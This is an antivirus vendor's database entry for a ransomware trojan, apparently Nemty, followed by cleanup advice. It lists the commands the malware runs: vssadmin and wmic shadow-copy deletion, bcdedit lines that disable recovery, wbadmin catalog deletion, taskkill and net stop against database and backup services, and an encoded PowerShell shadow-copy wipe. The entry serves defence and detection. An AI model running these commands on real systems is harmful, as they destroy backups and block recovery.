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Trojan.Siggen9.10603

Added to the Dr.Web virus database: 2020-02-11

Virus description added:

Technical Information

To ensure autorun and distribution
Creates the following files on removable media
  • <Drive name for removable media>:\nemty_hzsz4f4-decrypt.txt
  • <Drive name for removable media>:\delete.avi
  • <Drive name for removable media>:\correct.avi
  • <Drive name for removable media>:\default.bmp
  • <Drive name for removable media>:\dashborder_192.bmp
  • <Drive name for removable media>:\toolbar.bmp
  • <Drive name for removable media>:\tileimage.bmp
  • <Drive name for removable media>:\coffee.bmp
  • <Drive name for removable media>:\testcertificate.cer
  • <Drive name for removable media>:\contoso.cer
  • <Drive name for removable media>:\sdksampleunprivdeveloper.cer
Malicious functions
To complicate detection of its presence in the operating system,
deletes volume shadow copies.
Executes the following
  • '%WINDIR%\syswow64\taskkill.exe' /f /im sql.*
  • '%WINDIR%\syswow64\net.exe' stop DbxSvc
  • '%WINDIR%\syswow64\net.exe' stop OracleXETNSListener
  • '%WINDIR%\syswow64\net.exe' stop OracleServiceXE
  • '%WINDIR%\syswow64\net.exe' stop AcrSch2Svc
  • '%WINDIR%\syswow64\net.exe' stop AcronisAgent
Modifies file system
Creates the following files
  • %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\518e2bc94bc324e5e6f82437175ae1af_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
Network activity
TCP
  • 'my####rnalip.com':443
  • 'ne##y10.hk':80
UDP
  • DNS ASK my####rnalip.com
  • DNS ASK ne##y10.hk
Miscellaneous
Searches for the following windows
  • ClassName: '' WindowName: ''
Creates and executes the following
  • '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=A: /on=A: /maxsize=401MB' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=A: /on=A: /maxsize=unbounded' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=C: /on=C: /maxsize=401MB' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=C: /on=C: /maxsize=unbounded' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=D: /on=D: /maxsize=401MB' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=D: /on=D: /maxsize=unbounded' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=F: /on=F: /maxsize=401MB' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=F: /on=F: /maxsize=unbounded' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c taskkill /f /im sql.* & taskkill /f /im winword.* & taskkill /f /im wordpad.* & taskkill /f /im outlook.* & taskkill /f /im thunderbird.* & taskkill /f /im oracle.* & taskkill /f /im excel.*...' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c net stop DbxSvc & net stop OracleXETNSListener & net stop OracleServiceXE & net stop AcrSch2Svc & net stop AcronisAgent & net stop Apache2.4 & net stop SQLWriter & net stop MSSQL$SQLEXPRESS ...' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet & wmic shadowcopy delete' (with hidden window)
  • '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==' (with hidden window)
Executes the following
  • '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=A: /on=A: /maxsize=401MB
  • '%WINDIR%\syswow64\net1.exe' stop OracleServiceXE
  • '%WINDIR%\syswow64\net1.exe' stop OracleXETNSListener
  • '%WINDIR%\syswow64\net1.exe' stop DbxSvc
  • '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
  • '%WINDIR%\syswow64\cmd.exe' /c bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet & wmic shadowcopy delete
  • '%WINDIR%\syswow64\cmd.exe' /c net stop DbxSvc & net stop OracleXETNSListener & net stop OracleServiceXE & net stop AcrSch2Svc & net stop AcronisAgent & net stop Apache2.4 & net stop SQLWriter & net stop MSSQL$SQLEXPRESS ...
  • '%WINDIR%\syswow64\cmd.exe' /c taskkill /f /im sql.* & taskkill /f /im winword.* & taskkill /f /im wordpad.* & taskkill /f /im outlook.* & taskkill /f /im thunderbird.* & taskkill /f /im oracle.* & taskkill /f /im excel.*...
  • '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=F: /on=F: /maxsize=unbounded
  • '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=D: /on=D: /maxsize=401MB
  • '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=D: /on=D: /maxsize=unbounded
  • '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=C: /on=C: /maxsize=401MB
  • '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=C: /on=C: /maxsize=unbounded
  • '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=F: /on=F: /maxsize=401MB
  • '<SYSTEM32>\vssvc.exe'
  • '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=F: /on=F: /maxsize=unbounded
  • '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=F: /on=F: /maxsize=401MB
  • '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=D: /on=D: /maxsize=unbounded
  • '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=D: /on=D: /maxsize=401MB
  • '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=C: /on=C: /maxsize=unbounded
  • '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=C: /on=C: /maxsize=401MB
  • '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=A: /on=A: /maxsize=unbounded
  • '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=A: /on=A: /maxsize=401MB
  • '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=A: /on=A: /maxsize=unbounded
  • '%WINDIR%\syswow64\net1.exe' stop AcrSch2Svc
  • '%WINDIR%\syswow64\net1.exe' stop AcronisAgent

Curing recommendations

  1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
  2. If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
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  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

Find out more about Dr.Web for Android

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